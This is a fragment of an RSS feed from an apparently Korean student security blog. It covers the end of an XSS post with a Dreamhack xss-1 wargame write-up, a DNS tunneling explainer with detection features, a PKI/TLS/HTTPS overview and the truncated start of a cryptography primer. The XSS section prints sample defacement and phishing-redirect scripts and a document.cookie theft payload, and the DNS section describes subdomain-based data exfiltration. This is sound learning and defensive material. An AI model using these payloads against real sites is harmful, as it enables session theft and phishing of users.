</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span></code></pre>
<p><b><div style="text-align: center"> 페이지 변조 공격 코드 </div></b></p>
<pre><code class="hljs language-xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="language-javascript">
  <span class="hljs-comment">// 이용자의 페이지 정보에 접근.</span>
  <span class="hljs-variable language_">document</span>;
  <span class="hljs-comment">// 이용자의 페이지에 데이터를 삽입.</span>
  <span class="hljs-variable language_">document</span>.<span class="hljs-title function_">write</span>(<span class="hljs-string">&quot;Hacked By Dreamhack !&quot;</span>);
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span></code></pre>
<p><b><div style="text-align: center"> 위치 이동 공격 코드 </div></b></p>
<pre><code class="hljs language-xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="language-javascript">
    <span class="hljs-comment">// 이용자의 위치를 변경.</span>
    <span class="hljs-comment">// 피싱 공격 등으로 사용됨.</span>
    location.<span class="hljs-property">href</span> = <span class="hljs-string">&quot;http://hacker.dreamhack.io/phishing&quot;</span>; 
    <span class="hljs-comment">// 새 창 열기</span>
    <span class="hljs-variable language_">window</span>.<span class="hljs-title function_">open</span>(<span class="hljs-string">&quot;http://hacker.dreamhack.io/&quot;</span>)
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span></code></pre>
<h3>wargame 풀이</h3>
<p><a href="https://dreamhack.io/wargame/challenges/28" target="_blank" rel="noopener">xss-1</a> 워게임 문제를 풀이해 보았다.</p>
<pre><code class="hljs language-dns">#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask<span class="hljs-punctuation">(</span>__name__<span class="hljs-punctuation">)</span>
app.secret_key = os.urandom<span class="hljs-punctuation">(</span><span class="hljs-number">32</span><span class="hljs-punctuation">)</span>

try:
    FLAG = open<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;./flag.txt&quot;</span>, <span class="hljs-string">&quot;r&quot;</span><span class="hljs-punctuation">)</span>.read<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>
except:
    FLAG = <span class="hljs-string">&quot;[**FLAG**]&quot;</span>


def read_url<span class="hljs-punctuation">(</span>url, cookie={<span class="hljs-string">&quot;name&quot;</span>: <span class="hljs-string">&quot;name&quot;</span>, <span class="hljs-string">&quot;value&quot;</span>: <span class="hljs-string">&quot;value&quot;</span>}<span class="hljs-punctuation">)</span>:
    cookie.update<span class="hljs-punctuation">(</span>{<span class="hljs-string">&quot;domain&quot;</span>: <span class="hljs-string">&quot;127.0.0.1&quot;</span>}<span class="hljs-punctuation">)</span>
    driver = None
    try:
        service = Service<span class="hljs-punctuation">(</span>executable_path=<span class="hljs-string">&quot;/usr/local/bin/chromedriver&quot;</span><span class="hljs-punctuation">)</span>
        options = webdriver.ChromeOptions<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>
        options.binary_location = <span class="hljs-string">&quot;/usr/bin/google-chrome&quot;</span>
        for _ <span class="hljs-type">in</span> [
            <span class="hljs-string">&quot;headless&quot;</span>,
            <span class="hljs-string">&quot;window-size=1920x1080&quot;</span>,
            <span class="hljs-string">&quot;disable-gpu&quot;</span>,
            <span class="hljs-string">&quot;no-sandbox&quot;</span>,
            <span class="hljs-string">&quot;disable-dev-shm-usage&quot;</span>,
        ]:
            options.add_argument<span class="hljs-punctuation">(</span>_<span class="hljs-punctuation">)</span>
        driver = webdriver.Chrome<span class="hljs-punctuation">(</span>service=service, options=options<span class="hljs-punctuation">)</span>
        driver.implicitly_wait<span class="hljs-punctuation">(</span><span class="hljs-number">3</span><span class="hljs-punctuation">)</span>
        driver.set_page_load_timeout<span class="hljs-punctuation">(</span><span class="hljs-number">3</span><span class="hljs-punctuation">)</span>
        driver.get<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;http://127.0.0.1:8000/&quot;</span><span class="hljs-punctuation">)</span>
        driver.add_cookie<span class="hljs-punctuation">(</span>cookie<span class="hljs-punctuation">)</span>
        driver.get<span class="hljs-punctuation">(</span>url<span class="hljs-punctuation">)</span>
    except Exception as e:
        # return str<span class="hljs-punctuation">(</span>e<span class="hljs-punctuation">)</span>
        return False
    finally:
        if driver is not None:
            driver.quit<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>
    return True


def check_xss<span class="hljs-punctuation">(</span>param, cookie={<span class="hljs-string">&quot;name&quot;</span>: <span class="hljs-string">&quot;name&quot;</span>, <span class="hljs-string">&quot;value&quot;</span>: <span class="hljs-string">&quot;value&quot;</span>}<span class="hljs-punctuation">)</span>:
    url = f<span class="hljs-string">&quot;http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}&quot;</span>
    return read_url<span class="hljs-punctuation">(</span>url, cookie<span class="hljs-punctuation">)</span>


@app.route<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;/&quot;</span><span class="hljs-punctuation">)</span>
def index<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>:
    return render_template<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;index.html&quot;</span><span class="hljs-punctuation">)</span>


@app.route<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;/vuln&quot;</span><span class="hljs-punctuation">)</span>
def vuln<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>:
    param = request.args.get<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;param&quot;</span>, <span class="hljs-string">&quot;&quot;</span><span class="hljs-punctuation">)</span>
    return param


@app.route<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;/flag&quot;</span>, methods=[<span class="hljs-string">&quot;GET&quot;</span>, <span class="hljs-string">&quot;POST&quot;</span>]<span class="hljs-punctuation">)</span>
def flag<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>:
    if request.method == <span class="hljs-string">&quot;GET&quot;</span>:
        return render_template<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;flag.html&quot;</span><span class="hljs-punctuation">)</span>
    elif request.method == <span class="hljs-string">&quot;POST&quot;</span>:
        param = request.form.get<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;param&quot;</span><span class="hljs-punctuation">)</span>
        if not check_xss<span class="hljs-punctuation">(</span>param, {<span class="hljs-string">&quot;name&quot;</span>: <span class="hljs-string">&quot;flag&quot;</span>, <span class="hljs-string">&quot;value&quot;</span>: FLAG.strip<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>}<span class="hljs-punctuation">)</span>:
            return &#x27;&lt;script&gt;alert<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;wrong??&quot;</span><span class="hljs-punctuation">)</span><span class="hljs-comment">;history.go(-1);&lt;/script&gt;&#x27;</span>

        return &#x27;&lt;script&gt;alert<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;good&quot;</span><span class="hljs-punctuation">)</span><span class="hljs-comment">;history.go(-1);&lt;/script&gt;&#x27;</span>


memo_text = <span class="hljs-string">&quot;&quot;</span>


@app.route<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;/memo&quot;</span><span class="hljs-punctuation">)</span>
def memo<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>:
    global memo_text
    text = request.args.get<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;memo&quot;</span>, <span class="hljs-string">&quot;&quot;</span><span class="hljs-punctuation">)</span>
    memo_text += text + <span class="hljs-string">&quot;<span class="hljs-char escape_">\n</span>&quot;</span>
    return render_template<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;memo.html&quot;</span>, memo=memo_text<span class="hljs-punctuation">)</span>


app.run<span class="hljs-punctuation">(</span>host=<span class="hljs-string">&quot;0.0.0.0&quot;</span>, port=<span class="hljs-number">8000</span><span class="hljs-punctuation">)</span></code></pre>
<p>이 부분을 통해 <b>FLAG 변수</b>에 <b>플래그</b>가 담기는 것을 알 수 있다.<br><img src="https://velog.velcdn.com/images/njw/post/3d7ab754-a6f0-4320-a07e-90de76be3622/image.png" alt="[보안] XSS 부셔보고 SOP 알아보기!" width="449" height="96" loading="lazy" decoding="async"></p>
<p>/vuln 엔드포인트에서는 <b>파라미터를 그대로 반환</b>해 XSS 공격이 가능함을 알 수 있다.<br><img src="https://velog.velcdn.com/images/njw/post/79c7b3ec-d367-4cc5-b54e-faabe952d306/image.png" alt="[보안] XSS 부셔보고 SOP 알아보기!" width="514" height="115" loading="lazy" decoding="async"></p>
<p>이 부분을 통해 /flag 엔드포인트에서 check_xss에 사용자의 요청값과 플래그를 포함해 넘기는 것을 알 수 있는데<br><img src="https://velog.velcdn.com/images/njw/post/313cf32f-d697-45e6-957a-b59347830ce2/image.png" alt="[보안] XSS 부셔보고 SOP 알아보기!" width="713" height="242" loading="lazy" decoding="async"></p>
<p>check_xss는 동적으로 URL을 만들어 <b>서버에서 chrome 드라이버를 통해 쿠키를 만들고 동적으로 만든 URL을 열어본다는 것</b>을 알 수 있다.<br><img src="https://velog.velcdn.com/images/njw/post/68a6f591-f114-4c68-bb54-e1da87c75316/image.png" alt="[보안] XSS 부셔보고 SOP 알아보기!" width="787" height="653" loading="lazy" decoding="async"></p>
<p>/memo 엔드포인트를 살펴보면 render_template()을 이용해 입력값을 출력하기 때문에 <b>XSS가 발생하지 않는다</b>는 것을 알 수 있는데 memo 파라미터를 이용해 변수에 담아 <b>지속적으로 기록하고 출력</b>하는 것을 알 수 있다.<br><img src="https://velog.velcdn.com/images/njw/post/2e57873e-6e43-4436-843b-50ec5ec2f926/image.png" alt="[보안] XSS 부셔보고 SOP 알아보기!" width="455" height="117" loading="lazy" decoding="async"></p>
<h4>취약점 분석</h4>
<p>/flag 엔드포인트에서 <code>&lt;script&gt;location.href = &quot;/memo?memo=&quot; + document.cookie;&lt;/script&gt;</code> 이와 같은 페이로드를 입력하면 서버가 플래그 쿠키를 넣고 URL을 열기 때문에 <b>서버의 브라우저에 있는 쿠키</b>가 <b>출력</b>된다는 것을 알 수 있다.</p>
<p>플래그 획득 성공!<br><img src="https://velog.velcdn.com/images/njw/post/e3517ab1-be5f-4871-8a44-d2c9d34cbb75/image.png" alt="[보안] XSS 부셔보고 SOP 알아보기!" width="475" height="216" loading="lazy" decoding="async"></p>
<h3>XSS 방어</h3>
<p>XSS가 사용자의 악의적인 입력값 주입과 텍스트를 인터널 자바스크립트와 같은 태그로 인식하여 생기는 취약점 이므로 <b>서버 단의 철저한 입력값 검증</b>과 출력할 때 <code>&amp;lt;</code>, <code>&amp;gt;</code>와 같은 <b>특수 입력 기호</b>를 <b>이용</b>하면 대부분의 XSS는 방어 가능하다.</p>
<h2>마무리</h2>
<p>XSS에 대해 공부해보았다. 단순하지만 무서운 취약점이니 꼭 파악해 방어하자.</p>
]]></description>
      <author>njwon19@gmail.com (노정원)</author>
      <category>보안</category><category>웹</category><category>통신</category>
    </item>
    <item>
      <title>[보안] DNS와 DNS 터널링</title>
      <link>https://njw.kro.kr/blog/posts/%EB%B3%B4%EC%95%88-DNS-%ED%84%B0%EB%84%90%EB%A7%81/</link>
      <guid isPermaLink="true">https://njw.kro.kr/blog/posts/%EB%B3%B4%EC%95%88-DNS-%ED%84%B0%EB%84%90%EB%A7%81/</guid>
      <pubDate>Fri, 24 Apr 2026 18:55:12 GMT</pubDate>
      <description><![CDATA[<h2>DNS</h2>
<p>통신을 진행할 때, 우리는 <b>IP</b>라는 고유 주소를 통해 정보를 교환한다.<br><b>IP는 32비트로 이루어진 수 모음</b>으로써 <b>각각의 네트워크를 식별</b>하는데에 사용된다.</p>
<blockquote>
<p>IP란, 네트워크상에서 데이터를 패킷(packet) 단위로 나누어 목적지까지 안전하게 전달하는 통신 규약이다.</p>
</blockquote>
<p>이 같은 IP는 숫자로만 이루어져 있고 길이가 무척 길어 사람이 외우기 힘든 구조였다.</p>
<p>이를 개선시키고자 나온것이 <b>DNS</b>이다.</p>
<p>**DNS(Domain Name System)**는 <b>호스트의 도메인네임 (<a href="http://www.example.com)을" target="_blank" rel="noopener">www.example.com)을</a> 네트워크주소(192.168.1.0)로 변환</b>하거나, 그 반대의 역할을 수행하는 시스템이다.</p>
<p>naver.com , google.com 모두 DNS을 가진 DN(Domain Name)이라고 할 수 있다.</p>
<p>DNS는 클라이언트가 DNS 서버에 접속하고 IP 주소를 얻기 위해 <b>질의를 보내는 것으로 시작하고 DNS 서버는 IP 주소를 반환</b>한다.<br>클라이언트는 IP 주소를 받으면 이를 이용해 웹서버에 접속한다.</p>
<p><img src="https://velog.velcdn.com/images/njw/post/3284ecd7-c38b-4194-b0ba-7e2bd4b3d869/image.png" alt="[보안] DNS와 DNS 터널링" width="900" height="680" loading="lazy" decoding="async"></p>
<p>이때 표면적으로는 <a href="http://www.example.com를" target="_blank" rel="noopener">www.example.com를</a> 담당하고 있는 DNS 서버에 바로 쿼리를 날리는 것처럼 보인다.</p>
<p>하지만 도메인 자체가 전 세계에 너무 많기에 조금 다른 <b>계층 방식</b>으로 동작한다.<br><a href="http://www.example.com를" target="_blank" rel="noopener">www.example.com를</a> 예시로 들어보겠다.</p>
<h3>DNS 구조</h3>
<ol>
<li>브라우저와 OS 모두 접속했던 사이트에 대한 <b>DNS 기록과 매핑되는 IP 캐시</b>를 가지고 있다. 이곳을 제일 먼저 확인한다.</li>
<li>1번에서 실패하면 DNS 리졸버에게서 확인하고 이에 실패하면 <b>DNS 리졸버가 동작</b>하기 시작한다.</li>
<li><b>루트 DNS 서버에 TLD DNS 서버를 쿼리</b>한다.<br>example.com의 경우 .com이 TLD DNS이다.</li>
<li>TLD DNS 서버에게 <b>example.com을 쿼리하여 IP를 얻는다.</b><br><img src="https://velog.velcdn.com/images/njw/post/f9c1938c-4d3a-4655-bb29-41719a9f2b19/image.png" alt="[보안] DNS와 DNS 터널링" width="1360" height="680" loading="lazy" decoding="async"><br>만약  korea.co.kr처럼 DNS의 길이가 길 경우에도 똑같이 동작한다. 이의 경우에는 TLD DNS 서버에서도 쿼리하여 .co.kr의 DNS 서버를 알아낼 것이다.</li>
</ol>
<h2>DNS 터널링</h2>
<p>이러한 DNS는 IP 주소를 얻기 위한 과정으로써 보편화된 현대에선 필수적이다. 그렇기의 대부분의 네트워크는 <b>DNS 요청(UDP 포트 53)을 차단하지 않는다.</b><br>DNS 터널링은 그 부분에서 착안한 공격기법이다.</p>
<blockquote>
<p>DNS 터널링(DNS Tunneling)이란, 악의적인 공격자가 DNS 프로토콜의 통신 방식을 악용하여, 방화벽을 우회하고 은밀하게 데이터를 외부로 유출하거나 명령 및 제어(C2) 서버와 통신하는 사이버 공격 기법이다.</p>
</blockquote>
<p>여기서 말하는 <b>터널링은 한 네트워크 프로토콜을 다른 프로토콜의 데이터 페이로드 안에 캡슐화(Encapsulation)하여 전달하는 기술</b>이다.<br><img src="https://velog.velcdn.com/images/njw/post/5cab5b1d-8d82-463f-9cee-1e2353c91542/image.png" alt="[보안] DNS와 DNS 터널링" width="868" height="488" loading="lazy" decoding="async"><br>쉽게 말하자면 DNS 트래픽에 자신이 <b>탈취하고자 하는 정보를 숨겨 전달하는 취약점</b>이라고 볼 수 있다. 보안 장비는 기본적으로 <b>DNS를 기본적으로 허용</b>하기 때문에 가능한 공격 방법이다.<br>해커는 공격에 사용할 도메인을 등록하고 DNS를 자신의 서버에 등록한다.<br>감염자가 해커의 DNS 서버로 <b>DNS 요청을 이용해 <code>[탈취데이터].hacker.com</code>와 같이 서브도메인 자리에 정보를 담아 요청</b>을 보내면 해커의 서버는 이를 악용하거나 **DNS 응답(TXT 레코드 등)에 다음 공격 명령(C2)**을 실어 보낸다.<br>DNS 터널링은 방화벽을 우회하는 <b>양방향 비밀 통로 역할</b>을 하며, 기업의 기밀 유출이나 좀비 PC 제어에 치명적으로 사용될 수 있다.</p>
<h3>DNS 터널링 방어</h3>
<p>DNS 터널링을 방어하기 위해선, 내부 DNS 서버를 구성해 모든 페이로드가 내부 DNS 서버에 지정된 필터를 거쳐 전송되게 하여야 한다.</p>
<p>DNS 터널링을 방지하기 위해선 긴** 서브 도메인, 높은 문자 엔트로피, 숫자가 많은 문자열**과 같은 DNS 터널링의 주요 특징들을 필터링 해야한다.<br>다음은 DNS 터널링의 특징들이다.</p>
<ol>
<li><b>긴 하위 도메인, 반복되는 패딩 문자, base32, base64 인코딩</b>과 일치하는 패턴</li>
<li><b>대량으로 반환되는 TXT 레코드와 CNAME 레코드</b>(악성 페이로드 실행 가능성).</li>
<li><b>여러 서브 도메인으로 구성된 단일 도메인에 대한 요청, 긴 쿼리 길이와 요청 수</b>(5-10분 안에 10,000개 정도의 DNS 쿼리를 보내는 경우)</li>
</ol>
<h2>마무리</h2>
<p>생소했던 DNS 터널링에 대해 공부해보았다!!</p>
]]></description>
      <author>njwon19@gmail.com (노정원)</author>
      <category>기초</category><category>보안</category><category>웹</category><category>통신</category>
    </item>
    <item>
      <title>[암호학] PKI와 TLS 그리고 HTTPS </title>
      <link>https://njw.kro.kr/blog/posts/%EC%95%94%ED%98%B8%ED%95%99-PKI%EC%99%80-TLS-%EA%B7%B8%EB%A6%AC%EA%B3%A0-HTTPS/</link>
      <guid isPermaLink="true">https://njw.kro.kr/blog/posts/%EC%95%94%ED%98%B8%ED%95%99-PKI%EC%99%80-TLS-%EA%B7%B8%EB%A6%AC%EA%B3%A0-HTTPS/</guid>
      <pubDate>Fri, 24 Apr 2026 10:42:12 GMT</pubDate>
      <description><![CDATA[<h2>PKI</h2>
<p>인터넷이 보급되던 초기, 데이터 통신에서 가장 큰 고민은 <b>어떻게 하면 서로를 믿고 안전하게 정보를 주고받을 수 있는가</b>였다. 당시에는 통신 주체들이 서로 같은 암호 키를 공유하는 대칭키 암호화 방식을 주로 고려했다. 하지만 이 방식은 치명적인 한계가 있었다. 수만 명의 사용자가 서로 통신하기 위해서는 각자 수많은 키를 관리해야 했고, 무엇보다 그 <b>키를 상대방에게 전달하는 과정에서 해커에게 탈취될 위험이 매우 컸기 때문</b>이다. 즉, &quot;열쇠를 안전하게 전달할 방법이 없다면 암호화가 무슨 소용인가?&quot;라는 근본적인 모순에 부딪힌 것이다.</p>
<p>이러한 키 분배의 난제와 상대방 신원 확인의 불확실성을 해결하기 위해 등장한 혁신적인 체계가 바로 <b>PKI</b>이다.</p>
<p>**PKI(Public Key Infrastructure)**란, 디지털 인증서와 비대칭키 암호화를 사용하여 디지털 정보의 기밀성, 무결성, 인증, 부인 방지를 보장하는 보안 인프라이다. </p>
<blockquote>
<p>비대칭키 암호화란, 간단하게 암호화와 복호화에 쓰이는 키가 다른 암호화 알고리즘이다.<br><a href="https://velog.io/@njw/%EA%B8%B0%EC%B4%88-HTTPS-%EC%95%94%ED%98%B8%ED%95%99-%EA%B8%B0%EC%B4%88-%EB%B6%80%EC%88%98%EA%B8%B0#%EB%B9%84%EB%8C%80%EC%B9%AD%ED%82%A4" target="_blank" rel="noopener">자세한 건 이전 글 참고</a></p>
</blockquote>
<h3>구조</h3>
<p>PKI는 크게 <b>등록자</b>와 <b>이용자,</b> <b>CA</b>와 <b>RA,</b> <b>VA</b>로 이루어진다.</p>
<p><b>등록자(Subject)는 인증서를 발급받고자 하는 개인, 기업, 혹은 서버</b>다. 쉽게 말해 &quot;나를 믿어도 된다는 증명서를 받고 싶은 사람&quot;이다.</p>
<p><b>이용자(Relying Party)는 그 인증서를 보고 상대방을 신뢰할지 판단하는 쪽</b>이다. 예를 들어 우리가 HTTPS 사이트에 접속할 때, 브라우저가 이용자 역할을 한다.</p>
<p><b>CA(Certificate Authority, 인증 기관)는 PKI의 핵심이자 신뢰의 출발점</b>이다. 등록자의 신원을 검증한 뒤 디지털 인증서를 발급하고, 자신의 개인키로 서명해 그 진위를 보증한다. 흔히 &quot;공인인증기관&quot;이라고 부르는 곳이 바로 CA다. DigiCert, Let&#39;s Encrypt 같은 기관이 대표적인 예다.</p>
<p><b>RA(Registration Authority, 등록 기관)는 CA의 업무 중 신원 확인 부분을 대행하는 기관</b>이다. CA가 전 세계 모든 등록자를 직접 심사하기는 현실적으로 어렵기 때문에, RA가 일차적으로 등록자의 신원을 검증하고 CA에 인증서 발급을 요청한다. CA와 RA의 관계는 본점과 지점의 관계로 이해하면 쉽다. RA는 다양한 형태로 존재가능하다. RA가 CA에 포함되어 있을수도 있고 물리적으로 분리된 다른 서버의 형태로 존재할 수도 있다.</p>
<p><b>VA(Validation Authority, 검증 기관)는 이미 발급된 인증서가 현재도 유효한지 확인해주는 기관</b>이다. 인증서는 유효기간이 있을 뿐만 아니라, 중간에 개인키가 유출되거나 정보가 변경될 경우 폐기될 수 있다. 이용자가 VA에 질의하면 해당 인증서가 정상인지, 아니면 취소된 상태인지 확인할 수 있다. 이때 VA는 CRL(인증서 폐기 목록)이나 OCSP 프로토콜을 통해 검증 결과를 제공한다.</p>
<p>인증서는 어떻게 생겼나<br>디지털 인증서의 표준 형식은 X.509다. 인증서 안에는 다음과 같은 정보가 담겨 있다.</p>
<p><b>주체(Subject): 이 인증서가 누구의 것</b>인지 (도메인명, 기업명 등)<br><b>공개키: 등록자의 공개키</b><br><b>발급자(Issuer):</b> 이 인증서를 <b>서명한 CA의 정보</b><br><b>유효기간: 인증서의 시작일과 만료일</b><br><b>서명값: CA가 자신의 개인키로 위 내용을 서명</b>한 값</p>
<p>이 서명값이 핵심이다. 이용자는 <b>CA의 공개키로 이 서명을 검증함으로써, 인증서의 내용이 CA에 의해 보증된 것임을 확인</b>할 수 있다.</p>
<h3>신뢰 체인</h3>
<p>그렇다면 CA 자체는 누가 믿어주는가? 여기서 <b>신뢰 체인(Chain of Trust)</b> 개념이 등장한다.</p>
<p>PKI는 계층 구조로 이루어져 있다. 최상위에는 <b>루트 CA(Root CA)</b> 가 있다. 루트 CA는 자기 자신의 개인키로 자신의 인증서에 서명하는, 이른바 자체 서명 인증서(Self-signed Certificate)를 보유한다. 이 <b>루트 CA는 운영체제나 브라우저에 미리 내장</b>되어 있어, 우리는 이를 묵시적으로 신뢰하는 것이다.</p>
<p>루트 CA 아래에는 <b>중간 CA(Intermediate CA)</b> 가 있다. 루트 CA가 직접 모든 인증서를 발급하면 루트 CA의 개인키 노출 위험이 너무 높아지기 때문에, <b>실제 발급은 중간 CA를 통해 이루어진다.</b> 루트 CA는 중간 CA를 신뢰한다고 서명해주고, 중간 CA가 최종 사용자에게 인증서를 발급하는 구조다.</p>
<p>결국 신뢰의 흐름은 이렇게 된다.<br><b>루트 CA → 중간 CA → 등록자 인증서</b><br>(브라우저가 신뢰)  (루트가 서명)  (중간 CA가 서명)<br>우리가 어떤 사이트에 접속했을 때 브라우저가 자물쇠 아이콘을 보여주는 것은, 이 <b>신뢰 체인을 끝까지 검증해서 루트 CA까지 연결이 닿았다는 의미다.</b></p>
<h2>TLS와 HTTPS</h2>
<p><b>TLS(Transport Layer Security)는 PKI를 이용하는 프로토콜</b>이다.<br>이름에 Transport가 들어가는 만큼 전송 계층과 밀접한 관련이 있으며 전송 계층의 TLS 프로토콜을 기반으로 동작한다.<br>각설하고 TLS의 통신 과정을 HTTPS와 연관지어 서술해보겠다.<br><a href="https://velog.io/@njw/%EA%B8%B0%EC%B4%88-HTTP-HTTPS-%EB%B6%80%EC%88%98%EA%B8%B0-%EB%B0%8F-%ED%94%84%EB%A1%9C%ED%86%A0%EC%BD%9C-%ED%83%90%EC%83%89#https" target="_blank" rel="noopener">HTTPS는 여기서!</a><br>HTTPS 프로토콜을 사용하기 위해 <b>클라이언트(웹 서버)는 PKI 인증서를 발급받아야 한다.</b></p>
<h3>PKI 인증서 발급</h3>
<p>이 과정은 <b>클라이언트(웹 서버)의 공개키와 개인키의 생성</b>으로 시작된다.</p>
<ol>
<li><b>클라이언트(웹 서버)가 공개키와 개인키를 생성</b>한다.</li>
<li>클라이언트(웹 서버)는 생성한 키 쌍의 공개키를 자신의 신원 정보(서버의 경우 도메인)와 함께 <b>(CSR, Certificate Signing Request) 형식의 인증서 서명 요청서를 작성하고 RA에게 서명을 요청</b>한다. </li>
<li><b>RA는 신청자의 신원 정보를 확인하고 요청의 적합성을 검증</b>한다.<br>적합하다 판단되면 등록 승인된 CSR을 CA에게 넘겨 인증서 발급을 요청한다.</li>
<li><b>CA는 CSR 서명을 검증하고, 인증서 발급에 대한 정책과의 적합성을 검증</b>한다. 또한 자신의 개인키로 인증서에 서명하여 발급한다.</li>
<li><b>CA는 RA를 통해 발급한 인증서를 사용자에게 전달</b>한다.<br>필요 시, <b>인증서 체인 번들도 함께 전달</b>한다.<br>과정이 끝나면 TLS를 진행하기 위한 모든 과정이 끝난다.<br>TLS의 시작은 전송 계층의 TCP 핸드셰이크이다.</li>
</ol>
<h3>TCP</h3>
<p>전송 시작을 알리는 클라이언트 측의 SYN과 서버측의 SYN + ACK 응답,<br>클라이언트의 ACK으로 TCP 연결 핸드셰이크는 끝난다.</p>
<h3>TLS</h3>
<p>클라이언트는 <b>ClientHello 세그먼트로 TLS의 시작</b>을 알린다.</p>
<ol>
<li><b>클라이언트는 ClientHello에 지원하는 SSL 또는 TLS 버전 정보와 지원하는 암호화 방식(cipher suite), 클라이언트에서 생성한 임의의 난수를 포함하여 전송</b>한다.</li>
<li><b>서버는 요청받은 ClientHello에 담긴 암호화 방식을 선택해 포함하고 SSL 또는 TSL 버전과 함께 서버가 생성한 임의의 난수를 ServerHello에 담아 전송</b>한다. 또한 Certificate에 자신이 위에서 서명한 인증서를 담는다.<br>서버가 이를 전송할 때 확인해보면 Server Key Exchange가 있는 것을 알 수 있는데 이는 인증서 내부에 있는 서버의 공개키 정보로는 부족할 때 선택적으로 전송하는 세그먼트이다.<br>전송이 끝나면 서버는 ServerHelloDone 세그먼트를 전송한다.</li>
<li><b>클라이언트는 받은 인증서의 서명값을 발급 CA의 공개키로 검증한다.</b> 구체적으로는 인증서 본문을 해시한 값과 CA의 공개키로 서명값에서 복원한 해시를 비교한다. <b>두 값이 일치하면 그 인증서가 해당 CA의 개인키로 서명되었고 내용이 변조되지 않았음이 증명되므로 검증에 성공한 것이다.</b> 발급 CA를 믿을 수 없다면 발급 CA에게 인증서를 발급해준 루트 CA의 공개키로 같은 방식의 서명 검증을 수행하며 신뢰체인을 거슬러 올라가 검증 한다. 이때 CA를 확인할 수 없다면 AIA 필드를 확인해 직접 인증서를 가져온다.</li>
<li><b>클라이언트는 ClientKeyExchange에 클라이언트가 생성한 Pre-Master Secret 난수를 인증서 내에 있던 서버의 공개키로 암호화해 포함</b>시켜 보낸다.<br><b>서버의 난수와 클라이언트의 난수, Pre-Master Secret 난수를 섞어 Master 키를 완성</b>시키고 Change Ciper Spec를 통해 Master 대칭키로 통신할 것임을 알린다.<br>Finished를 통해 SSL 또는 TSL 통신 과정의 종료를 알린다.</li>
<li>서버는 인증서를 발급할 때 생성했던 키 쌍의 개인키로 <b>Pre-Master Secret 키를 복호화하고 서버의 난수와 클라이언트의 난수, Pre-Master Secret 난수를 섞어 Master 키를 완성</b>시키고 Change Ciper Spec를 통해 Master 대칭키로 통신할 것임을 알린다.<br>Finished를 통해 SSL 또는 TSL 통신 과정의 종료를 알린다.<br><img src="https://velog.velcdn.com/images/njw/post/2ee34bf1-7191-4fc2-9bc7-1c0c22830ed7/image.png" alt="[암호학] PKI와 TLS 그리고 HTTPS " width="2918" height="1667" loading="lazy" decoding="async"></li>
</ol>
<h2>마무리</h2>
<p>PKI와 TLS, HTTPS에 대해 공부해보았다!!!<br>이제 서버 운영할 때 쉽게 인증서 발급할 수 있겠지..?</p>
]]></description>
      <author>njwon19@gmail.com (노정원)</author>
      <category>보안</category><category>암호학</category><category>웹</category><category>통신</category>
    </item>
    <item>
      <title>[기초] 암호학 기초 부수기!</title>
      <link>https://njw.kro.kr/blog/posts/%EA%B8%B0%EC%B4%88-%EC%95%94%ED%98%B8%ED%95%99-%EA%B8%B0%EC%B4%88-%EB%B6%80%EC%88%98%EA%B8%B0/</link>
      <guid isPermaLink="true">https://njw.kro.kr/blog/posts/%EA%B8%B0%EC%B4%88-%EC%95%94%ED%98%B8%ED%95%99-%EA%B8%B0%EC%B4%88-%EB%B6%80%EC%88%98%EA%B8%B0/</guid>
      <pubDate>Fri, 24 Apr 2026 04:54:34 GMT</pubDate>
      <description><![CDATA[<h2>암호학</h2>
<blockquote>
<p>암호학이란, 정보를 안전하게 보호하기 위해 수학적, 언어학적 방법을 연구하여 평문을 암호문으로 변환(암호화)하거나 암호문을 평문으로 변환(복호화)하는 학문이다.</p>
</blockquote>
<p> <b>암호학은 수천 년 전부터 시작</b>되었다.<br>최근 수십 년 전까지는 <b>고전 암호학이라고 명칭되어지는 펜과 종이 또는 간단한 기계적 보조 장치를 사용하는 암호화를 사용</b>하였다.<br> 20세기 초부터 복잡한 기계가 발명되어 고전 암호학에서 사용하는 펜과 종이는 전혀 맞지 않게 되었다.</p>
<p><b>현대 암호학은 크게 대칭키, 비대칭키 암호화</b>로 나뉘어진다.</p>
<h3>대칭키</h3>
<blockquote>
<p>대칭키 암호화란, 암호화와 복호화에 동일한 공유 비밀 키를 사용하는 암호 방식. 속도가 빨라 대량의 데이터를 암호화하는 데 효율적이다.</p>
</blockquote>
<p>고전부터 사용되어지는 대부분의 암호 알고리즘이 대칭키 암호화에 속한다.<br>대표적으로 고대에 사용되던 스퀴탈레 암호와 카이사르 암호가 이에 속한다.</p>
<p> 가장 기본적인 원리인 스트림 방식은 XOR 연산을 이용한다.<br>XOR, <b>배타적 논리합은 두 번 이어서 연산하면 원문으로 돌아온다는 특징</b>이 있다.<br>이를 이용하면 대칭키 암호화를 구현할 수 있다.</p>
<pre><code class="hljs language-excel">원문 A, 암호키 B.

